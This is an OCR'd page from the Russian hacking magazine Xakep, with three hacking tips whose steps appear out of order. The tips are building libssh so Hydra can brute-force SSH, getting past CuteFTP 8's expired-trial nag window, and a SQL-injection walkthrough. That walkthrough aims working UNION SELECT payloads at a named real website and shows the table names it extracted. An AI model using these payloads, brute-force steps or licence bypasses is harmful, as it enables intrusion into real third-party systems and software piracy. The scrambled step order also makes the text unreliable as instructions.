Ноябрь - Xakep Online

взлом
4. Переходим в извлеченный каталог:
$ make install
$ cd libssh-0.1
6. Копируем исошник в /usr/lib:
5. Приступаем к сборке:
$ cp /usr/local/lib/libssh.so /usr/lib/
$ ./configure
$ make
7. Инсталлируем и запускаем Гидру. Теперь брут по SSH будет работать :).
№5
Разблокировка окна CuteFTP 8 при помощи InqSoft
WindowScanner
Задача: поработать с FTP-клиентом CuteFTP 8, у которого
истек демонстрационный срок.
Решение:
Как известно, при попытке запуска после истечения триала CuteFTP выдает
окошко-наг, в котором присутствуют две кнопки: Enter Serial Number и
Close. Попробуем обойти это досадное ограничение.
1. Основная программа инициализировалась в памяти, ведь наг выведен
на фоне окна FTP-клиента. Для того чтобы поработать с программой,
придется каким-то образом получить доступ к заблокированному окну.
Прибегнем к помощи InqSoft WindowScanner. Запускаем его. Используя
инструмент «Прицел», выделяем основное окно программы CuteFTP.
2. Нажимаем на кнопку «Управление» для вывода на экран панели
управления активным окном. Она тут же появится в нижней части окна программы.
Из всех кнопок этой панели нас интересует одна — кнопка «Окно
активно» (по счету она седьмая слева). Жмем ее и... готово! Окно CuteFtp
теперь доступно, с программой можно работать.
3. Навязчивый наг на время работы можно убрать путем выделения его
окошка инструментом «Прицел» и нажатия на кнопку «Окно видимо» на
панели управления окнами.
Альтернатива:
Существует пакет Sign of Misery (s0m.narod.ru) от той же конторы, который
обладает возможностью написания несложных скриптов. С его помощью
можно выполнять еще более изощренные вещи, обладая лишь базовым
набором знаний и не владея отладчиком и другими крякерскими тулзами!
№6
http://www.onlinecasinoreports.com/news_show_cat.
asp?cat=1%27
2. Подбираем количество полей:
http://www.onlinecasinoreports.com/news_show_cat.
asp?cat=1%27+union+select+1,2,3--
Составляем кверю вида:
Выдираем список таблиц из БД
Задача: извлечь таблицы и поля из MSSQL при наличии
SQL-инъекции.
Решение:
Давай разберемся в ситуации на конкретном примере. Как ты знаешь,
в мускуле в большинстве случаев названия таблиц в базе приходится
либо подбирать ручками, либо брутить специально предназначенным
для этого софтом. Исключение составляет лишь MySQL пятой версии
(и ниже), в котором так же, как и в MSSQL, есть очень полезная для нас
с тобой база под названием information_schema. В ней содержится
информация о названии всех таблиц и полей, хранящихся в СУБД. Причем
обратиться с запросом к БД information_schema может любой юзер
СУБД независимо от прав доступа. Так что будем действовать согласно
следующему плану:
1. Посмотрим, как все вышеизложенное работает на практике. Берем
заведомо уязвимый ресурс:
048
http://www.onlinecasinoreports.com/news_
show_cat.asp?cat=1%27+union+select+1,table_
name,3+from+information_schema.tables--
3. В качестве ответа получаем список всех доступных табличек:
...
ADMIN_LOGIN_ATTEMPTS
archive
bnr_banner_types
bnr_banners
BNR_VIEWD_BANNER_LOGS
BNR_VIEWD_BANNER_LOGS_SUMMARY
BRANDS
CATEGORIES
...
4. Радуемся, поскольку в этом случае нам повезло. MSSQL вернул нам все
и сразу :). Обычно в запросах приходится использовать конструкцию top,
которая является убогим аналогом limit’а в мускуле.
xàêåð 11 /107/ 07